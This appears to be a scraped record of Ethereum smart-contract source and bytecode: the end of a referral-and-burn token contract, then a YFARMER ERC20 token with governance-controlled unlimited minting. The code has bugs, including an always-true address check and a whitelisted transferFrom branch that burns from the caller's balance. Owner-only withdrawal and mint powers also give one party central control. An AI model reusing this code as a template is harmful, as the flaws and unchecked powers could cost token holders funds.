_transfer(msg.sender, miners[msg.sender].address2,invite2to);
_burn(msg.sender, tokensToBurn + invite1to );
return true;
} else {
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
} else if (miners[msg.sender].address1 != address(0) && miners[msg.sender].address2 == address(0) && miners[_to].address1 == address(0)){
if (balanceOf[miners[msg.sender].address1] >= minSupply){
if ( _to != msg.sender || _to!= TradeAddress || _to!= uni){
if(miners[_to].address1 == address(0)){
if(balanceOf[msg.sender] >= minSupply){
miners[_to].address1 = msg.sender;
miners[_to].address2 = miners[msg.sender].address1;
}
}
}
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address1,invite1to);
_burn(msg.sender, tokensToBurn + invite2to);
return true;
} else {
_transfer(msg.sender, _to, _value - tokensToBurnAll );
_burn(msg.sender, tokensToBurnAll);
return true;
}
} else if (miners[msg.sender].address1 == address(0) && miners[msg.sender].address2 == address(0) && miners[_to].address1 == address(0)){
if ( _to != msg.sender || _to!= TradeAddress || _to!= uni){
if(miners[_to].address1 == address(0)){
if(balanceOf[msg.sender] >= minSupply){
miners[_to].address1 = msg.sender;
}
}
}
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
if(miners[_to].address1 == address(0)){
if(balanceOf[msg.sender] >= minSupply){
miners[_to].address1 = msg.sender;
}
}
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 tokensToBurn = calculatePercentage(_value,_burnPercent);
uint256 invite1to = calculatePercentage(_value,_invite1Percent);
uint256 invite2to = calculatePercentage(_value,_invite2Percent);
uint256 tokensToBurnAll = calculatePercentage(_value,_burnPercentAll);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
if(_isWhitelisted(_from, _to)){
_transfer(_from, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
if(_from == uni && _to == TradeAddress){
_transfer(_from, _to, _value);
return true;
} else if (_from == TradeAddress && _to == uni){
_transfer(_from, _to, _value);
return true;
}
if (miners[_from].address1 != address(0) && miners[_from].address2 != address(0)){
if (balanceOf[miners[_from].address1] >= minSupply && balanceOf[miners[_from].address2] >= minSupply){
_transfer(_from, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(_from, miners[_from].address1,invite1to);
_transfer(_from, miners[_from].address2,invite2to);
_burn(_from, tokensToBurn);
return true;
} else if (balanceOf[miners[_from].address1] >= minSupply && balanceOf[miners[_from].address2] < minSupply){
_transfer(_from, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(_from, miners[_from].address1,invite1to);
_burn(_from, tokensToBurn + invite2to);
return true;
} else if (balanceOf[miners[_from].address1] < minSupply && balanceOf[miners[_from].address2] >= minSupply){
_transfer(_from, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(_from, miners[_from].address2,invite2to);
_burn(_from, tokensToBurn + invite1to);
return true;
} else {
_transfer(_from, _to, _value - tokensToBurnAll);
_burn(_from, tokensToBurnAll);
return true;
}
} else if (miners[_from].address1 != address(0)){
if (balanceOf[miners[_from].address1] >= minSupply){
_transfer(_from, _to, _value - invite1to - invite2to - tokensToBurn );
_transfer(_from, miners[_from].address1,invite1to);
_burn(_from, tokensToBurn + invite2to);
return true;
} else {
_transfer(_from, _to, _value - tokensToBurnAll);
_burn(_from, tokensToBurnAll);
return true;
}
}
_transfer(_from, _to, _value - tokensToBurnAll);
_burn(_from, tokensToBurnAll);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
address user = msg.sender; //local variable is gas cheaper than reading from storate multiple time
require(_value <= balanceOf[user], 'Not enough balance');
allowance[user][_spender] = _value;
emit Approval(user, _spender, _value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
uint256 newAmount = allowance[msg.sender][spender].add(addedValue);
approve(spender, newAmount);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 newAmount = allowance[msg.sender][spender].sub(subtractedValue);
approve(spender, newAmount);
return true;
}
function calculatePercentage(uint256 PercentOf, uint256 percentTo ) internal pure returns (uint256)
{
uint256 factor = 10000;
require(percentTo <= factor);
uint256 c = PercentOf.mul(percentTo).div(factor);
return c;
}
function setBurningRate(uint burnPercent) onlyOwner public returns(bool success)
{
_burnPercent = burnPercent;
return true;
}
function updateMinimumTotalSupply(uint minimumTotalSupplyWEI) onlyOwner public returns(bool success)
{
minTotalSupply = minimumTotalSupplyWEI;
return true;
}
function _burn(address account, uint256 amount) internal returns(bool) {
if(totalSupply > minTotalSupply)
{
totalSupply = totalSupply.sub(amount);
balanceOf[account] = balanceOf[account].sub(amount);
emit Transfer(account, address(0), amount);
return true;
}
}
function setTradeAddress(address addr) public onlyOwner {
TradeAddress = addr;
}
function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner returns(string memory){
_transfer(address(this), owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function manualWithdrawEther(uint256 amount) public onlyOwner returns(string memory){
owner.transfer(amount);
return "Ether withdrawn to owner wallet";
}
function updateDividendContractAddress(address dividendContract) public onlyOwner returns(string memory){
dividendContractAdderess = dividendContract;
return "dividend conract address updated successfully";
}
function airDrop(address[] memory recipients,uint[] memory tokenAmount) public onlyOwner returns (bool) {
uint reciversLength = recipients.length;
require(reciversLength <= 150);
for(uint i = 0; i < reciversLength; i++)
{
if (gasleft() < 100000)
{
break;
}
_transfer(owner, recipients[i], tokenAmount[i]);
miners[recipients[i]].address1 = msg.sender;
}
return true;
}
}
|
0x6080604052600436106102245760003560e01c806379ba509711610123578063a9059cbb116100ab578063eee3ea471161006f578063eee3ea47146108aa578063efa17cc2146108d4578063f2fde38b146108fe578063fbde8d7514610931578063ff12bbf41461095b57610224565b8063a9059cbb146107e2578063d4ee1d901461081b578063d4fdbc5714610830578063dd62ed3e1461085a578063edc9af951461089557610224565b806395d89b41116100f257806395d89b411461072f57806398a7cc30146107445780639e17e21d14610759578063a457c2d71461076e578063a486309d146107a757610224565b806379ba5097146106db57806379db6346146106f05780638da5cb5b146107055780638fe6cae31461071a57610224565b806322016104116101b15780634815ea59116101755780634815ea59146104d357806356213104146104e8578063648ec7b91461051b57806365216a411461057457806370a08231146106a857610224565b806322016104146103fa57806323b872dd1461040f578063313ce56714610452578063395093511461046757806343684b21146104a057610224565b80631649c60c116101f85780631649c60c1461033957806316b627d11461036a57806318160ddd1461039d578063205d5c4f146103b257806321a9cf34146103c757610224565b80622590021461022657806306fdde031461024d578063095ea7b3146102d75780630dfe2a8314610324575b005b34801561023257600080fd5b5061023b610996565b60408051918252519081900360200190f35b34801561025957600080fd5b5061026261099c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029c578181015183820152602001610284565b50505050905090810190601f1680156102c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e357600080fd5b50610310600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356109cd565b604080519115158252519081900360200190f35b34801561033057600080fd5b5061023b610a92565b34801561034557600080fd5b5061034e610a98565b604080516001600160a01b039092168252519081900360200190f35b34801561037657600080fd5b506103106004803603602081101561038d57600080fd5b50356001600160a01b0316610ab0565b3480156103a957600080fd5b5061023b610ac5565b3480156103be57600080fd5b5061023b610acb565b3480156103d357600080fd5b50610224600480360360208110156103ea57600080fd5b50356001600160a01b0316610ad0565b34801561040657600080fd5b5061023b610b09565b34801561041b57600080fd5b506103106004803603606081101561043257600080fd5b506001600160a01b03813581169160208101359091169060400135610b0f565b34801561045e57600080fd5b5061023b610fc9565b34801561047357600080fd5b506103106004803603604081101561048a57600080fd5b506001600160a01b038135169060200135610fce565b3480156104ac57600080fd5b50610310600480360360208110156104c357600080fd5b50356001600160a01b031661101b565b3480156104df57600080fd5b5061034e611030565b3480156104f457600080fd5b506102626004803603602081101561050b57600080fd5b50356001600160a01b031661103f565b34801561052757600080fd5b5061054e6004803603602081101561053e57600080fd5b50356001600160a01b0316611092565b604080516001600160a01b03938416815291909216602082015281519081900390910190f35b34801561058057600080fd5b506103106004803603604081101561059757600080fd5b8101906020810181356401000000008111156105b257600080fd5b8201836020820111156105c457600080fd5b803590602001918460208302840111640100000000831117156105e657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561063657600080fd5b82018360208201111561064857600080fd5b8035906020019184602083028401116401000000008311171561066a57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110b8945050505050565b3480156106b457600080fd5b5061023b600480360360208110156106cb57600080fd5b50356001600160a01b0316611190565b3480156106e757600080fd5b506102246111a2565b3480156106fc57600080fd5b5061023b61122a565b34801561071157600080fd5b5061034e611230565b34801561072657600080fd5b5061023b61123f565b34801561073b57600080fd5b5061026261124c565b34801561075057600080fd5b5061034e61126c565b34801561076557600080fd5b5061034e61127b565b34801561077a57600080fd5b506103106004803603604081101561079157600080fd5b506001600160a01b038135169060200135611293565b3480156107b357600080fd5b50610224600480360360408110156107ca57600080fd5b506001600160a01b03813516906020013515156112c9565b3480156107ee57600080fd5b506103106004803603604081101561080557600080fd5b506001600160a01b038135169060200135611350565b34801561082757600080fd5b5061034e612086565b34801561083c57600080fd5b506102626004803603602081101561085357600080fd5b5035612095565b34801561086657600080fd5b5061023b6004803603604081101561087d57600080fd5b506001600160a01b0381358116916020013516612123565b3480156108a157600080fd5b5061034e612140565b3480156108b657600080fd5b50610310600480360360208110156108cd57600080fd5b5035612158565b3480156108e057600080fd5b50610310600480360360208110156108f757600080fd5b5035612179565b34801561090a57600080fd5b506102246004803603602081101561092157600080fd5b50356001600160a01b031661219a565b34801561093d57600080fd5b506102626004803603602081101561095457600080fd5b50356121d3565b34801561096757600080fd5b506102246004803603604081101561097e57600080fd5b506001600160a01b038135169060200135151561223e565b6103e881565b604051806040016040528060158152602001742232b1b2b73a3930b634bd32b2102134ba31b7b4b760591b81525081565b33600081815260086020526040812054909190831115610a29576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6001600160a01b03808216600081815260096020908152604080832094891680845294825291829020879055815187815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a360019150505b92915050565b60045481565b734b5d1ebfe85f399b728f655f77142459470549a681565b600b6020526000908152604090205460ff1681565b60025481565b60c881565b6000546001600160a01b03163314610ae757600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b61012c81565b600080610b1e836004546122c5565b90506000610b2e8461012c6122c5565b90506000610b3d8560c86122c5565b90506000610b4d866103e86122c5565b6001600160a01b0389166000908152600960209081526040808320338452909152902054909150610b84908763ffffffff61230216565b6001600160a01b0389166000908152600960209081526040808320338452909152902055610bb2888861235f565b15610bdc57610bc488888389036123a2565b610bce33826124be565b506001945050505050610fc2565b6001600160a01b038816737a250d5630b4cf539739df2c5dacb4c659f2488d148015610c1557506005546001600160a01b038881169116145b15610c3257610c258888886123a2565b6001945050505050610fc2565b6005546001600160a01b038981169116148015610c6b57506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610c7b57610c258888886123a2565b6001600160a01b038881166000908152600760205260409020541615801590610cc057506001600160a01b038881166000908152600760205260409020600101541615155b15610f39576001600160a01b0380891660009081526007602090815260408083205490931682526008905220546801236efcbcbb34000011801590610d3857506001600160a01b0380891660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb34000011155b15610da957610d4e88888685878b0303036123a2565b6001600160a01b03808916600090815260076020526040902054610d75918a9116856123a2565b6001600160a01b03808916600090815260076020526040902060010154610d9f918a9116846123a2565b610bce88856124be565b6001600160a01b0380891660009081526007602090815260408083205490931682526008905220546801236efcbcbb34000011801590610e1b57506001600160a01b0380891660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb340000115b15610e6457610e3188888685878b0303036123a2565b6001600160a01b03808916600090815260076020526040902054610e58918a9116856123a2565b610bce888386016124be565b6001600160a01b0380891660009081526007602090815260408083205490931682526008905220546801236efcbcbb340000118015610ed657506001600160a01b0380891660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb34000011155b15610f2257610eec88888685878b0303036123a2565b6001600160a01b03808916600090815260076020526040902060010154610f16918a9116846123a2565b610bce888486016124be565b610f2f88888389036123a2565b610bce88826124be565b6001600160a01b038881166000908152600760205260409020541615610fa1576001600160a01b0380891660009081526007602090815260408083205490931682526008905220546801236efcbcbb34000011610f2257610e3188888685878b0303036123a2565b610fae88888389036123a2565b610fb888826124be565b5060019450505050505b9392505050565b601281565b3360009081526009602090815260408083206001600160a01b03861684529091528120548190611004908463ffffffff61256616565b905061101084826109cd565b506001949350505050565b600a6020526000908152604090205460ff1681565b6006546001600160a01b031681565b6000546060906001600160a01b0316331461105957600080fd5b600680546001600160a01b0319166001600160a01b0384161790556040805160608101909152602d8082526126a5602083013992915050565b600760205260009081526040902080546001909101546001600160a01b03918216911682565b600080546001600160a01b031633146110d057600080fd5b825160968111156110e057600080fd5b60005b8181101561101057620186a05a10156110fb57611010565b600054855161113b916001600160a01b03169087908490811061111a57fe5b602002602001015186848151811061112e57fe5b60200260200101516123a2565b336007600087848151811061114c57fe5b6020908102919091018101516001600160a01b0390811683529082019290925260400160002080546001600160a01b031916929091169190911790556001016110e3565b60086020526000908152604090205481565b6001546001600160a01b031633146111b957600080fd5b6001546000546040805142815290516001600160a01b039384169392909216917fa3191545eda8c68c7b5fbe5f5a200244fd06d2448d03d464621b04c48538361f9181900360200190a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60035481565b6000546001600160a01b031681565b6801236efcbcbb34000081565b604051806040016040528060048152602001634442544360e01b81525081565b6005546001600160a01b031681565b7391de8f260f05d0ab3c51911d8b43793d82b84d6681565b3360009081526009602090815260408083206001600160a01b03861684529091528120548190611004908463ffffffff61230216565b6000546001600160a01b031633146112e057600080fd5b604080516001600160a01b0384168152821515602082015281517f88cf9b943f64811022537ee9f0141770d85e612eae3a3a39241abe5ca9f11382929181900390910190a16001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60008061135f836004546122c5565b9050600061136f8461012c6122c5565b9050600061137e8560c86122c5565b9050600061138e866103e86122c5565b905061139a338861235f565b156113c4576113ac33888389036123a2565b6113b633826124be565b506001945050505050610a8c565b33737a250d5630b4cf539739df2c5dacb4c659f2488d1480156113f457506005546001600160a01b038881169116145b15611411576114043388886123a2565b6001945050505050610a8c565b6005546001600160a01b03163314801561144757506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b15611457576114043388886123a2565b6005546001600160a01b03163314801561148e57506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d14155b156117af576001600160a01b0387811660009081526007602052604090205416158015906114d857506001600160a01b038781166000908152600760205260409020600101541615155b15611747576001600160a01b0380881660009081526007602090815260408083205490931682526008905220546801236efcbcbb3400001180159061155057506001600160a01b0380881660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb34000011155b156115c15761156633888685878b0303036123a2565b6001600160a01b0380881660009081526007602052604090205461158d91339116856123a2565b6001600160a01b038088166000908152600760205260409020600101546115b791339116846123a2565b6113b633856124be565b6001600160a01b0380881660009081526007602090815260408083205490931682526008905220546801236efcbcbb3400001180159061163357506001600160a01b0380881660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb340000115b1561167c5761164933888685878b0303036123a2565b6001600160a01b0380881660009081526007602052604090205461167091339116856123a2565b6113b6338386016124be565b6001600160a01b0380881660009081526007602090815260408083205490931682526008905220546801236efcbcbb3400001180156116ee57506001600160a01b0380881660009081526007602090815260408083206001015490931682526008905220546801236efcbcbb34000011155b1561173a5761170433888685878b0303036123a2565b6001600160a01b0380881660009081526007602052604090206001015461172e91339116846123a2565b6113b6338486016124be565b6113ac33888389036123a2565b6001600160a01b0387811660009081526007602052604090205416156117af576001600160a01b0380881660009081526007602090815260408083205490931682526008905220546801236efcbcbb3400001161173a5761164933888685878b0303036123a2565b336000908152600760205260409020546001600160a01b0316158015906117f05750336000908152600760205260409020600101546001600160a01b031615155b801561181557506001600160a01b038781166000908152600760205260409020541615155b15611a3d57336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb340000118015906118895750336000908152600760209081526040808320600101546001600160a01b0316835260089091529020546801236efcbcbb34000011155b156118ea5761189f33888685878b0303036123a2565b336000818152600760205260409020546118c391906001600160a01b0316856123a2565b336000818152600760205260409020600101546115b791906001600160a01b0316846123a2565b336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb340000118015906119585750336000908152600760209081526040808320600101546001600160a01b0316835260089091529020546801236efcbcbb340000115b156119925761196e33888685878b0303036123a2565b3360008181526007602052604090205461167091906001600160a01b0316856123a2565b336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb340000118015611a005750336000908152600760209081526040808320600101546001600160a01b0316835260089091529020546801236efcbcbb34000011155b1561173a57611a1633888685878b0303036123a2565b3360008181526007602052604090206001015461172e91906001600160a01b0316846123a2565b336000908152600760205260409020546001600160a01b031615801590611a7e5750336000908152600760205260409020600101546001600160a01b031615155b8015611aa257506001600160a01b0387811660009081526007602052604090205416155b15611d4357336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb34000011801590611b165750336000908152600760209081526040808320600101546001600160a01b0316835260089091529020546801236efcbcbb34000011155b15611c05576001600160a01b03871633141580611b4157506005546001600160a01b03888116911614155b80611b6957506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611bf4576001600160a01b0387811660009081526007602052604090205416611bf457336000908152600860205260409020546801236efcbcbb34000011611bf4576001600160a01b038781166000818152600760205260408082208054336001600160a01b03199182168117835584529183205493909252600190910180549290931691161790555b61189f33888685878b0303036123a2565b336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb34000011801590611c735750336000908152600760209081526040808320600101546001600160a01b0316835260089091529020546801236efcbcbb340000115b15611992576001600160a01b03871633141580611c9e57506005546001600160a01b03888116911614155b80611cc657506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611d32576001600160a01b0387811660009081526007602052604090205416611d3257336000908152600860205260409020546801236efcbcbb34000011611d32576001600160a01b038716600090815260076020526040902080546001600160a01b031916331790555b61196e33888685878b0303036123a2565b336000908152600760205260409020546001600160a01b031615801590611d835750336000908152600760205260409020600101546001600160a01b0316155b8015611da757506001600160a01b0387811660009081526007602052604090205416155b15611ecc57336000908152600760209081526040808320546001600160a01b0316835260089091529020546801236efcbcbb3400001161173a576001600160a01b03871633141580611e0757506005546001600160a01b03888116911614155b80611e2f57506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611d32576001600160a01b0387811660009081526007602052604090205416611d3257336000908152600860205260409020546801236efcbcbb34000011611d32576001600160a01b0380881660008181526007602052604080822080546001600160a01b031990811633908117835584529183205493909252600190910180549091169190921617905561196e33888685878b0303036123a2565b336000908152600760205260409020546001600160a01b0316158015611f0b5750336000908152600760205260409020600101546001600160a01b0316155b8015611f2f57506001600160a01b0387811660009081526007602052604090205416155b15611ffa576001600160a01b03871633141580611f5a57506005546001600160a01b03888116911614155b80611f8257506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d14155b1561173a576001600160a01b038781166000908152600760205260409020541661173a57336000908152600860205260409020546801236efcbcbb3400001161173a576001600160a01b038716600090815260076020526040902080546001600160a01b031916331790556113ac33888389036123a2565b6001600160a01b038781166000908152600760205260409020541661206157336000908152600860205260409020546801236efcbcbb34000011612061576001600160a01b038716600090815260076020526040902080546001600160a01b031916331790555b61206e33888389036123a2565b61207833826124be565b506001979650505050505050565b6001546001600160a01b031681565b6000546060906001600160a01b031633146120af57600080fd5b600080546040516001600160a01b039091169184156108fc02918591818181858888f193505050501580156120e8573d6000803e3d6000fd5b505060408051808201909152601f81527f45746865722077697468647261776e20746f206f776e65722077616c6c6574006020820152919050565b600960209081526000928352604080842090915290825290205481565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600080546001600160a01b0316331461217057600080fd5b50600455600190565b600080546001600160a01b0316331461219157600080fd5b50600355600190565b6000546001600160a01b031633146121b157600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546060906001600160a01b031633146121ed57600080fd5b6000546122059030906001600160a01b0316846123a2565b50506040805180820190915260208082527f546f6b656e732077697468647261776e20746f206f776e65722077616c6c65749082015290565b6000546001600160a01b0316331461225557600080fd5b604080516001600160a01b0384168152821515602082015281517fc3d26c130d120a4bb874de56c8b5fb727ad2cfc3551ca49cd42ef248e893b69a929181900390910190a16001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000612710808311156122d757600080fd5b60006122f9826122ed878763ffffffff6125c016565b9063ffffffff61261916565b95945050505050565b600082821115612359576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b0382166000908152600a602052604081205460ff1680610fc25750506001600160a01b03166000908152600b602052604090205460ff16919050565b6001600160a01b038316600090815260086020526040902054811115612404576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6001600160a01b03831660009081526008602052604090205461242d908263ffffffff61230216565b6001600160a01b038085166000908152600860205260408082209390935590841681522054612462908263ffffffff61256616565b6001600160a01b0380841660008181526008602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60006003546002541115610a8c576002546124df908363ffffffff61230216565b6002556001600160a01b03831660009081526008602052604090205461250b908363ffffffff61230216565b6001600160a01b0384166000818152600860209081526040808320949094558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610a8c565b600082820183811015610fc2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826125cf57506000610a8c565b828202828482816125dc57fe5b0414610fc25760405162461bcd60e51b81526004018080602001828103825260218152602001806126846021913960400191505060405180910390fd5b600080821161266f576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161267a57fe5b0494935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776469766964656e6420636f6e7261637420616464726573732075706461746564207375636365737366756c6c79a265627a7a723158201ebf2a48ac4188254349f6fbc154da0f156037d19d32d02156c67e883bd69f9664736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,733 |
0x7B0F66fA5cf5cc28280c1e7051af881E06579362
|
/**
*Submitted for verification at Etherscan.io on 2020-09-08
*/
pragma solidity ^0.5.17;
/**
********************************************************************
*
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ____ ____ | || | _________ | || | __ | || | _______ | || | ____ ____ | || | _________ | || | _______ | |
| | |_ _||_ _| | || | |_ ___ | | || | / \ | || | |_ __ \ | || ||_ \ / _|| || | |_ ___ | | || | |_ __ \ | |
| | \ \ / / | || | | |_ \_| | || | / /\ \ | || | | |__) | | || | | \/ | | || | | |_ \_| | || | | |__) | | |
| | \ \/ / | || | | _| | || | / ____ \ | || | | __ / | || | | |\ /| | | || | | _| _ | || | | __ / | |
| | _| |_ | || | _| |_ | || | _/ / \ \_ | || | _| | \ \_ | || | _| |_\/_| |_ | || | _| |___/ | | || | _| | \ \_ | |
| | |______| | || | |_____| | || ||____| |____|| || | |____| |___| | || ||_____||_____|| || | |_________| | || | |____| |___| | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
********************************************************************
*/
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract YFARMER is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor (address newOwner) public ERC20Detailed("YFarmLand Token", "YFARMER", 18) {
governance = msg.sender;
_mint(newOwner,6000000000000000000000);
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
}
|
